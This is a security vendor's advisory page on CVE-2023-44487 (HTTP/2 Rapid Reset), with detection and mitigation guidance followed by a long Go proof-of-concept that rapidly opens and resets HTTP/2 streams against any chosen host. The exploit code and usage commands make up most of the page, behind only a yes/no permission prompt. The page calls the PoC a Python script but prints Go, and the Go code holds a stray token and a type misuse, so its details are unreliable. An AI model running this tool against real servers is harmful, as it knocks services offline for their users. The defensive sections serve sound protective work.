BACK TO HOME
VULNERABILITY DATABASE●SEPTEMBER 16, 2025

CVE-2023-44487 - HTTP/2 Rapid Reset Denial of Service

HOME/VULNERABILITIES/CVE2023-44487-RAID-RESET-DDOS-HTTP2VULN

VULNERABILITY INFO

CATEGORYVulnerabilities
PUBLISHEDSeptember 16, 2025
AUTHORLayerweb Security Teams
READ TIME14 MIN

TAGS

#CVE-2023-44487#HTTP/2#DDOS#RAPID RESET

SHARE

A remote unauthenticated attacker can exploit the HTTP/2 Rapid Reset vulnerability to perform a high-impact denial-of-service attack by rapidly opening and resetting streams, exhausting server resources.


Vulnerability Overview

The HTTP/2 protocol implementation in multiple web servers and intermediaries is vulnerable to a Rapid Reset attack (CVE-2023-44487). An unauthenticated remote attacker can exploit this flaw by rapidly creating and immediately resetting HTTP/2 streams, causing excessive CPU and memory consumption on the target server. This leads to denial of service (DoS) for legitimate users.

This vulnerability was widely exploited in large-scale DDoS attacks in late 2023 and remains a critical risk for any system supporting HTTP/2.

Attack Vector: Network Attack Complexity: Low Privileges Required: None User Interaction: None CVE: CVE-2023-44487 EDB-ID: 52426 EDB Verified: Yes

Summary: The server fails to properly rate-limit or account for rapidly reset HTTP/2 streams, allowing an attacker to consume disproportionate resources and degrade or crash the service.

Affected Component

  • Protocol: HTTP/2 (RFC 9113)

  • Vulnerable Implementations: Any HTTP/2-enabled server, reverse proxy, load balancer, or CDN that does not enforce stream reset limits or resource accounting per connection.

  • Known Vulnerable Software (at time of disclosure):

    • Apache HTTP Server (mod_http2)
    • nginx (http2 module)
    • Node.js (http2)
    • Cloudflare, Akamai, Fastly (early versions)
    • HAProxy, Envoy, and others

Note: Most vendors released patches in October 2023. Unpatched or legacy systems remain at risk.

Technical Details

HTTP/2 allows multiplexing multiple requests over a single TCP connection using streams. Each stream can be reset using a RST_STREAM frame. The vulnerability arises because:

  1. The client can open a stream with HEADERS.
  2. Immediately send RST_STREAM to cancel it.
  3. Repeat this process at high speed.
  4. The server processes each stream creation and reset, consuming CPU, memory, and connection state.
  5. No per-client rate limiting or accounting for canceled streams.

This creates an asymmetric resource consumption attack: low effort from attacker, high cost to server.

Exploitation

A remote attacker uses a script (like the provided PoC) to:

  • Establish an HTTP/2 connection (ALPN h2).
  • Rapidly send HEADERS frames to create streams.
  • Immediately follow with RST_STREAM frames.
  • Repeat thousands of times per second.

The server becomes unresponsive, drops legitimate connections, or crashes.

Proof of Concept (PoC) / Exploit

Published on Exploit-DB as EDB-ID 52426. The PoC is a Python 3 script using the h2 library to simulate the attack. EDB-ID: 52426 Author: Madhusudhan Rajappa Type: remote Platform: Multiple Date: 2025-09-16

PoC Usage Example

python3 http2_rapid_reset.py example.com --streams 1000 --delay 0.0005

Sample Output

CVE-2023-44487 HTTP/2 Rapid Reset Vulnerability Tester Target: example.com:443 SSL: Enabled LEGAL DISCLAIMER: [Confirmed]

BASELINE TEST Baseline Results: Total Requests: 10 Successful: 10 Success Rate: 100.00% Avg Response Time: 0.087s

RAPID RESET TEST (CVE-2023-44487) Testing with 1000 streams... Rapid Reset Results: Streams Created: 1000 Streams Reset: 998 Reset Rate: 12450.2 resets/second Total Duration: 0.321s Errors: 2 Connection Status: Server closed connection during test

VULNERABILITY ANALYSIS HIGH RISK: Server accepts very high reset rates This may indicate vulnerability to CVE-2023-44487

Compilation & Dependencies

pip install h2 No compilation required — pure Python.

Impact Assessment

Critical Risks

  1. Denial of Service (DoS): Legitimate users unable to access the service.
  2. Service Degradation: High latency, timeouts, connection resets.
  3. Infrastructure Collapse: In extreme cases, backend systems crash or reboot.
  4. Amplification: A single attacker can generate massive load with minimal bandwidth.
  5. Cloud Cost Spikes: Auto-scaling may trigger unnecessary resource provisioning.

Detection Methods

Network Monitoring

  • Monitor HTTP/2 RST_STREAM frame frequency per source IP.
  • Alert on >100 resets/second from a single client.
  • Track HEADERS to RST_STREAM ratio (should be low in normal traffic).

Log Analysis

Look for patterns in access logs or HTTP/2 debug logs: [http2] client 1.2.3.4 reset 850 streams in 1.2 seconds

WAF / IDS Signatures

  • Signature: High volume of RST_STREAM immediately following HEADERS.
  • Tools: ModSecurity, Suricata, Zeek (with HTTP/2 parsing).

Mitigation & Remediation

Immediate Mitigations

  1. Disable HTTP/2 (if not required):

    • Apache: Protocols http/1.1
    • nginx: http2 off;
  2. Rate Limit RST_STREAM Frames:

  • Limit resets per connection (e.g., 100/sec).
  • Terminate connections exceeding threshold.
  1. Connection-Level Accounting:
  • Track stream creation/reset ratio.
  • Drop or tarpit abusive clients.

Vendor Patches (Apply Immediately)

Vendor Fixed Version Advisory
Apache 2.4.58+ [link]
nginx 1.25.3+, 1.24.0+ [link]
Cloudflare Automatic (Oct 2023) [link]
HAProxy 2.8.3+, 2.6.15+ [link]
Envoy 1.27.3+, 1.26.6+ [link]

Always verify your version and apply security updates.

Additional Hardening (Enterprise Recommendations)

  1. Deploy Web Application Firewall (WAF)
  • Cloudflare, AWS WAF, Imperva, F5 ASM.
  • Enable HTTP/2 inspection and DoS protection.
  1. Enable HTTP/2 Request Counting
  • Use mod_reqtimeout (Apache) or client_header_timeout (nginx).
  1. Implement Client Reputation Scoring
  • Block IPs with history of abuse.
  1. Use CDN with HTTP/2 DoS Protection
  • Cloudflare, Akamai, Fastly (post-2023 versions include mitigations).
  1. Monitor & Alert
  • Set up real-time alerts for:

    • HTTP/2 connection spikes
    • High RST_STREAM rates
    • CPU spikes on web tier
  1. Load Balancer Configuration
  • Limit concurrent streams per connection: http2_max_concurrent_streams 100;

How Enterprises Can Protect Themselves (Corporate Guidance)

  • Patch Management, Network Segmentation, Observability & Telemetry, Incident Response Playbook, Regular Penetration Testing, Vendor Communication.

DISCLAIMER: This document is for educational and defensive security purposes only. The included PoC must not be used against systems without explicit authorization. Unauthorized exploitation is illegal and unethical.

PoC

// CVE-2023-44487 HTTP/2 Rapid Reset Vulnerability Tester By LAYERWEB
// Date: 2025
// WARNING: Only use on systems you own or have permission to test!

package main

import (
	"bufio"
	"context"
	"crypto/tls"
	"flag"
	"fmt"
	"log"
	"math"
	"net"
	"os"
	"strings"
	"sync"
	"time"

	"golang.org/x/net/http2"
	"golang.org/x/net/http2/hpack"
)

// HTTP2RapidResetTester tests for CVE-2023-44487 vulnerability
type HTTP2RapidResetTester struct {
	host             string
	port             int
	useSSL           bool
	conn             net.Conn
	framer           *http2.Framer
	responseTimes    []float64
	errors           []string
	connectionClosed bool
	mu               sync.Mutex
}

// NewHTTP2RapidResetTester creates a new tester instance
func NewHTTP2RapidResetTester(host string, port int, useSSL bool) *HTTP2RapidResetTester {
	return &HTTP2RapidResetTester{
		host:          host,
		port:          port,
		useSSL:        useSSL,
		responseTimes: make([]float64, 0),
		errors:        make([]string, 0),
	}
}

// Connect establishes HTTP/2 connection to the target server
func (t *HTTP2RapidResetTester) Connect() error {
	address := fmt.Sprintf("%s:%d", t.host, t.port)
	log.Printf("Connecting to %s", address)

	var err error
	if t.useSSL {
		config := &tls.Config{
			ServerName:         t.host,
			NextProtos:         []string{"h2"},
			InsecureSkipVerify: false,
		}
		t.conn, err = tls.Dial("tcp", address, config)
	} else {
		t.conn, err = net.Dial("tcp", address)
	}

	if err != nil {
		return fmt.Errorf("failed to establish connection: %w", err)
	}

	// Initialize HTTP/2 framer
	t.framer = http2.NewFramer(t.conn, t.conn)
	t.framer.AllowIllegalWrites = true

	// Send HTTP/2 connection preface
	if _, err := t.conn.Write([]byte(http2.ClientPreface)); err != nil {
		return fmt.Errorf("failed to send client preface: %w", err)
	}

	// Send SETTINGS frame
	if err := t.framer.WriteSettings(); err != nil {
		return fmt.Errorf("failed to send settings: %w", err)
	}

	// Read server settings
	ctx, cancel := context.WithTimeout(context.Background(), 5*time.Second)
	defer cancel()

	done := make(chan error, 1)
	go func() {
		frame, err := t.framer.ReadFrame()
		if err != nil {
			done <- err
			return
		}
		if _, ok := frame.(*http2.SettingsFrame); !ok {
			done <- fmt.Errorf("expected SETTINGS frame, got %T", frame)
			return
		}
		done <- nil
	}()

	select {
	case err := <-done:
		if err != nil {
			return fmt.Errorf("failed to read server settings: %w", err)
		}
	case <-ctx.Done():
		return fmt.Errorf("timeout reading server settings")
	}

	// Send SETTINGS ACK
	if err := t.framer.WriteSettingsAck(); err != nil {
		return fmt.Errorf("failed to send settings ack: %w", err)
	}

	log.Println("HTTP/2 connection established successfully")
	t.connectionClosed = false
	return nil
}

// sendHeaders sends HTTP/2 HEADERS frame
func (t *HTTP2RapidResetTester) sendHeaders(streamID uint32, headers []hpack.HeaderField, endStream bool) error {
	t.mu.Lock()
	defer t.mu.Unlock()

	if t.connectionClosed {
		return fmt.Errorf("connection is closed")
	}

	var headerBlock []byte
	encoder := hpack.NewEncoder(&headerBlock)
	for _, hf := range headers {
		if err := encoder.WriteField(hf); err != nil {
			return err
		}
	}

	flags := http2.FlagHeadersEndHeaders
	if endStream {
		flags |= http2.FlagHeadersEndStream
	}

	return t.framer.WriteHeaders(http2.HeadersFrameParam{
		StreamID:      streamID,
		BlockFragment: headerBlock,
		EndHeaders:    true,
		EndStream:     endStream,
		Priority:      http2.PriorityParam{},
	})
}

// resetStream sends RST_STREAM frame
func (t *HTTP2RapidResetTester) resetStream(streamID uint32, errorCode http2.ErrCode) error {
	t.mu.Lock()
	defer t.mu.Unlock()

	if t.connectionClosed {
		return fmt.Errorf("connection is closed")
	}

	return t.framer.WriteRSTStream(streamID, errorCode)
}

// RapidResetTest performs the rapid reset attack test
func (t *HTTP2RapidResetTester) RapidResetTest(numStreams int, delay time.Duration) map[string]interface{} {
	log.Printf("Starting rapid reset test with %d streams", numStreams)

	startTime := time.Now()
	createdStreams := make([]uint32, 0, numStreams)
	resetStreams := make([]uint32, 0, numStreams)

	// Prepare headers
	headers := []hpack.HeaderField{
		{Name: ":method", Value: "GET"},
		{Name: ":path", Value: "/"},
		{Name: ":scheme", Value: func() string {
			if t.useSSL {
				return "https"
			}
			return "http"
		}()},
		{Name: ":authority", Value: t.host},
		{Name: "user-agent", Value: "CVE-2023-44487-Tester/1.0"},
	}

	// Phase 1: Rapidly create streams
	for i := 0; i < numStreams; i++ {
		if t.connectionClosed {
			log.Println("Connection closed during stream creation")
			break
		}

		streamID := uint32((i * 2) + 1) // Odd numbers for client-initiated streams

		if err := t.sendHeaders(streamID, headers, false); err != nil {
			t.addError(fmt.Sprintf("Error creating stream %d: %v", streamID, err))
			if strings.Contains(strings.ToLower(err.Error()), "connection") {
				break
			}
			continue
arc		}

		createdStreams = append(createdStreams, streamID)

		if delay > 0 {
			time.Sleep(delay)
		}
	}

	log.Printf("Created %d streams", len(createdStreams))

	// Phase 2: Rapidly reset all streams
	resetStart := time.Now()
	for _, streamID := range createdStreams {
		if t.connectionClosed {
			log.Println("Connection closed during stream reset")
			break
		}

		if err := t.resetStream(streamID, http2.ErrCodeCancel); err != nil {
			t.addError(fmt.Sprintf("Error resetting stream %d: %v", streamID, err))
			if strings.Contains(strings.ToLower(err.Error()), "connection") {
				break
			}
			continue
		}

		resetStreams = append(resetStreams, streamID)

		if delay > 0 {
			time.Sleep(delay / 10) // Faster resets
		}
	}

	resetDuration := time.Since(resetStart).Seconds()
	totalDuration := time.Since(startTime).Seconds()

	log.Printf("Reset %d streams in %.3fs", len(resetStreams), resetDuration)

	// Phase 3: Monitor server response
	t.monitorServerResponse(10 * time.Second)

	resetRate := 0.0
	if resetDuration > 0 {
		resetRate = float64(len(resetStreams)) / resetDuration
	}

	avgResponseTime := 0.0
	if len(t.responseTimes) > 0 {
		avgResponseTime = average(t.responseTimes)
	}

	return map[string]interface{}{
		"streams_created":   len(createdStreams),
		"streams_reset":     len(resetStreams),
		"total_duration":    totalDuration,
		"reset_duration":    resetDuration,
		"reset_rate":        resetRate,
		"errors":            len(t.errors),
		"response_times":    t.responseTimes,
		"avg_response_time": avgResponseTime,
		"connection_closed": t.connectionClosed,
	}
}

// monitorServerResponse monitors server responses
func (t *HTTP2RapidResetTester) monitorServerResponse(timeout time.Duration) {
	log.Println("Monitoring server responses...")

	ctx, cancel := context.WithTimeout(context.Background(), timeout)
	defer cancel()

	for {
		select {
		case <-ctx.Done():
			return
		default:
			if t.connectionClosed {
				return
			}

			start := time.Now()
			
			// Set read deadline
			t.conn.SetReadDeadline(time.Now().Add(100 * time.Millisecond))
			
			frame, err := t.framer.ReadFrame()
			responseTime := time.Since(start).Seconds()

			if err != nil {
				if netErr, ok := err.(net.Error); ok && netErr.Timeout() {
					continue
				}
				if err.Error() != "EOF" {
					t.addError(fmt.Sprintf("Error reading frame: %v", err))
				}
				if strings.Contains(err.Error(), "closed") || err.Error() == "EOF" {
					t.connectionClosed = true
					return
				}
				continue
			}

			t.mu.Lock()
			t.responseTimes = append(t.responseTimes, responseTime)
			t.mu.Unlock()

			switch f := frame.(type) {
			case *http2.HeadersFrame:
				log.Printf("Response received on stream %d", f.StreamID)
			case *http2.RSTStreamFrame:
				log.Printf("Stream %d reset by server", f.StreamID)
			case *http2.GoAwayFrame:
				log.Println("Server terminated connection")
				t.connectionClosed = true
				return
			}
		}
	}
}

// BaselineTest performs baseline test with normal HTTP/2 requests
func (t *HTTP2RapidResetTester) BaselineTest(numRequests int) map[string]interface{} {
	log.Printf("Performing baseline test with %d normal requests", numRequests)

	startTime := time.Now()
	successfulRequests := 0

	headers := []hpack.HeaderField{
		{Name: ":method", Value: "GET"},
		{Name: ":path", Value: "/"},
		{Name: ":scheme", Value: func() string {
			if t.useSSL {
				return "https"
			}
			return "http"
		}()},
		{Name: ":authority", Value: t.host},
		{Name: "user-agent", Value: "CVE-2023-44487-Baseline/1.0"},
	}

	for i := 0; i < numRequests; i++ {
		if t.connectionClosed {
			log.Println("Connection closed during baseline test")
			break
		}

		streamID := uint32((i * 2) + 1)
		requestStart := time.Now()

		if err := t.sendHeaders(streamID, headers, true); err != nil {
			log.Printf("Error in baseline request %d: %v", i+1, err)
			if strings.Contains(strings.ToLower(err.Error()), "connection") {
				break
			}
			continue
		}

		// Wait for response with timeout
		ctx, cancel := context.WithTimeout(context.Background(), 5*time.Second)
		responseChan := make(chan bool, 1)

		go func() {
			t.conn.SetReadDeadline(time.Now().Add(5 * time.Second))
			_, err := t.framer.ReadFrame()
			responseChan <- err == nil
		}()

		select {
		case success := <-responseChan:
			if success {
				t.mu.Lock()
				t.responseTimes = append(t.responseTimes, time.Since(requestStart).Seconds())
				t.mu.Unlock()
				successfulRequests++
			}
		case <-ctx.Done():
			log.Printf("Timeout waiting for response to request %d", i+1)
		}
		cancel()

		time.Sleep(100 * time.Millisecond)
	}

	totalDuration := time.Since(startTime).Seconds()
	avgResponseTime := 0.0
	if len(t.responseTimes) > 0 {
		avgResponseTime = average(t.responseTimes)
	}

	successRate := 0.0
	if numRequests > 0 {
		successRate = float64(successfulRequests) / float64(numRequests)
	}

	return map[string]interface{}{
		"total_requests":       numRequests,
		"successful_requests":  successfulRequests,
		"total_duration":       totalDuration,
		"avg_response_time":    avgResponseTime,
		"success_rate":         successRate,
	}
}

// Close closes the connection gracefully
func (t *HTTP2RapidResetTester) Close() error {
	t.mu.Lock()
	defer t.mu.Unlock()

	if t.conn != nil && !t.connectionClosed {
		// Send GOAWAY frame
		t.framer.WriteGoAway(0, http2.ErrCodeNo, []byte("closing"))
		
		// Set deadline for close
		t.conn.SetDeadline(time.Now().Add(2 * time.Second))
		
		err := t.conn.Close()
		t.connectionClosed = true
		return err
	}
	return nil
}

// addError adds an error to the error list (thread-safe)
func (t *HTTP2RapidResetTester) addError(err string) {
	t.mu.Lock()
	defer t.mu.Unlock()
	t.errors = append(t.errors, err)
}

// Helper functions
func average(numbers []float64) float64 {
	if len(numbers) == 0 {
		return 0
	}
	sum := 0.0
	for _, n := range numbers {
		sum += n
	}
	return sum / float64(len(numbers))
}

func standardDeviation(numbers []float64) float64 {
	if len(numbers) == 0 {
		return 0
	}
	avg := average(numbers)
	variance := 0.0
	for _, n := range numbers {
		variance += math.Pow(n-avg, 2)
	}
	return math.Sqrt(variance / float64(len(numbers)))
}

func main() {
	// Command line flags
	host := flag.String("host", "", "Target hostname (required)")
	port := flag.Int("port", 443, "Target port")
	noSSL := flag.Bool("no-ssl", false, "Disable SSL/TLS")
	streams := flag.Int("streams", 100, "Number of streams for rapid reset test")
	delay := flag.Duration("delay", 1*time.Millisecond, "Delay between stream operations")
	baselineOnly := flag.Bool("baseline-only", false, "Only perform baseline test")
	verbose := flag.Bool("verbose", false, "Verbose output")

	flag.Parse()

	if *host == "" {
		fmt.Println("Error: host is required")
		flag.Usage()
		os.Exit(1)
	}

	if *verbose {
		log.SetFlags(log.LstdFlags | log.Lshortfile)
	}

	// Print banner
	fmt.Println(strings.Repeat("=", 60))
	fmt.Println("CVE-2023-44487 HTTP/2 Rapid Reset Vulnerability Tester")
	fmt.Println(strings.Repeat("=", 60))
	fmt.Printf("Target: %s:%d\n", *host, *port)
	fmt.Printf("SSL: %v\n", !*noSSL)
	fmt.Println()

	// Legal disclaimer
	fmt.Println("LEGAL DISCLAIMER:")
	fmt.Println("This tool is for authorized security testing only.")
	fmt.Println("Ensure you have permission to test the target system.")
	fmt.Println("Unauthorized use may be illegal.")
	fmt.Println()

	reader := bufio.NewReader(os.Stdin)
	fmt.Print("Do you have permission to test this system? (yes/no): ")
	response, _ := reader.ReadString('\n')
	response = strings.TrimSpace(strings.ToLower(response))

	if response != "yes" {
		fmt.Println("Exiting. Only use this tool on systems you're authorized to test.")
		return
	}

	tester := NewHTTP2RapidResetTester(*host, *port, !*noSSL)

	// Connect to target
	if err := tester.Connect(); err != nil {
		log.Fatalf("Failed to establish connection: %v", err)
	}
	defer tester.Close()

	// Perform baseline test
	fmt.Println()
	fmt.Println(strings.Repeat("=", 40))
	fmt.Println("BASELINE TEST")
	fmt.Println(strings.Repeat("=", 40))
	
	baselineResults := tester.BaselineTest(10)
	
	fmt.Println("Baseline Results:")
	fmt.Printf("  Total Requests: %v\n", baselineResults["total_requests"])
	fmt.Printf("  Successful: %v\n", baselineResults["successful_requests"])
	fmt.Printf("  Success Rate: %.2f%%\n", baselineResults["success_rate"].(float64)*100)
	fmt.Printf("  Avg Response Time: %.3fs\n", baselineResults["avg_response_time"])
	fmt.Printf("  Total Duration: %.3fs\n", baselineResults["total_duration"])

	if !*baselineOnly {
		// Reset connection for rapid reset test
		tester.Close()
		tester = NewHTTP2RapidResetTester(*host, *port, !*noSSL)

		if err := tester.Connect(); err != nil {
			log.Fatalf("Failed to re-establish connection: %v", err)
		}
		defer tester.Close()

		// Perform rapid reset test
		fmt.Println()
		fmt.Println(strings.Repeat("=", 40))
		fmt.Println("RAPID RESET TEST (CVE-2023-44487)")
		fmt.Println(strings.Repeat("=", 40))
		fmt.Printf("Testing with %d streams...\n", *streams)

		rapidResults := tester.RapidResetTest(*streams, *delay)

		fmt.Println("Rapid Reset Results:")
		fmt.Printf("  Streams Created: %v\n", rapidResults["streams_created"])
		fmt.Printf("  Streams Reset: %v\n", rapidResults["streams_reset"])
		fmt.Printf("  Reset Rate: %.1f resets/second\n", rapidResults["reset_rate"])
		fmt.Printf("  Total Duration: %.3fs\n", rapidResults["total_duration"])
		fmt.Printf("  Reset Duration: %.3fs\n", rapidResults["reset_duration"])
		fmt.Printf("  Errors: %v\n", rapidResults["errors"])
		fmt.Printf("  Avg Response Time: %.3fs\n", rapidResults["avg_response_time"])

		if rapidResults["connection_closed"].(bool) {
			fmt.Println("  Connection Status: Server closed connection during test")
		}

		// Analysis
		fmt.Println()
		fmt.Println(strings.Repeat("=", 40))
		fmt.Println("VULNERABILITY ANALYSIS")
		fmt.Println(strings.Repeat("=", 40))

		streamsCreated := rapidResults["streams_created"].(int)
		streamsReset := rapidResults["streams_reset"].(int)
		resetRate := rapidResults["reset_rate"].(float64)
		errorCount := rapidResults["errors"].(int)

		if rapidResults["connection_closed"].(bool) {
			fmt.Println("⚠ Server closed connection during rapid reset test")
			fmt.Println("   This could indicate protective measures or resource exhaustion.")
		}

		if float64(streamsReset) < float64(streamsCreated)*0.8 {
			fmt.Println("⚠ WARNING: Server may have rejected many reset requests")
			fmt.Println("   This could indicate protective measures are in place.")
		}

		if resetRate > 1000 {
			fmt.Println("🔴 HIGH RISK: Server accepts very high reset rates")
			fmt.Println("   This may indicate vulnerability to CVE-2023-44487")
		} else if resetRate > 100 {
			fmt.Println("🟡 MEDIUM RISK: Server accepts moderate reset rates")
			fmt.Println("   Further testing may be needed")
		} else {
			fmt.Println("🟢 LOWER RISK: Server has rate limiting on resets")
			fmt.Println("   This suggests some protection against the vulnerability")
		}

		if errorCount > streamsCreated/10 {
			fmt.Println("⚠ Many errors occurred during testing")
			fmt.Println("   Results may not be reliable")
		}
	}

	fmt.Println()
	fmt.Println("Test completed.")
}

Usage

# Test with HTTPS
./http2-rapid-reset-tester -host example.com

# Test with HTTP (without SSL)
./http2-rapid-reset-tester -host example.com -port 80 -no-ssl

# Test with different port
./http2-rapid-reset-tester -host example.com -port 8443
  • CVE Details: CVE-2023-44487

RELATED VULNERABILITIES

CVE-2025-41228 - VMware vSphere Client 8.0.3.0 XSS

Reflected XSS in VMware vSphere Client 8.0.3.0 via unsanitized query string on /folder endpoint.

AUG 11, 2025

CVE-2023-43320 Proxmox VE - TOTP Brute Force

Defensive advisory and mitigation guidance for reported Proxmox VE TOTP brute-force activity. PoC code omitted for safety.

JAN 31, 2024

CVE-2023-6553 - WordPress Backup Migration Plugin Remote Code Execution

Unauthenticated remote code execution in WordPress Backup Migration plugin (≤1.3.7) via PHP filter chain injection through Content-Dir header manipulation. Critical web application vulnerability enabling complete server compromise.

DEC 11, 2023
PROFESSIONAL SERVICES

Need Professional Security Audit?

Penetration testing, security assessment and vulnerability research services from our expert team

CONTACT US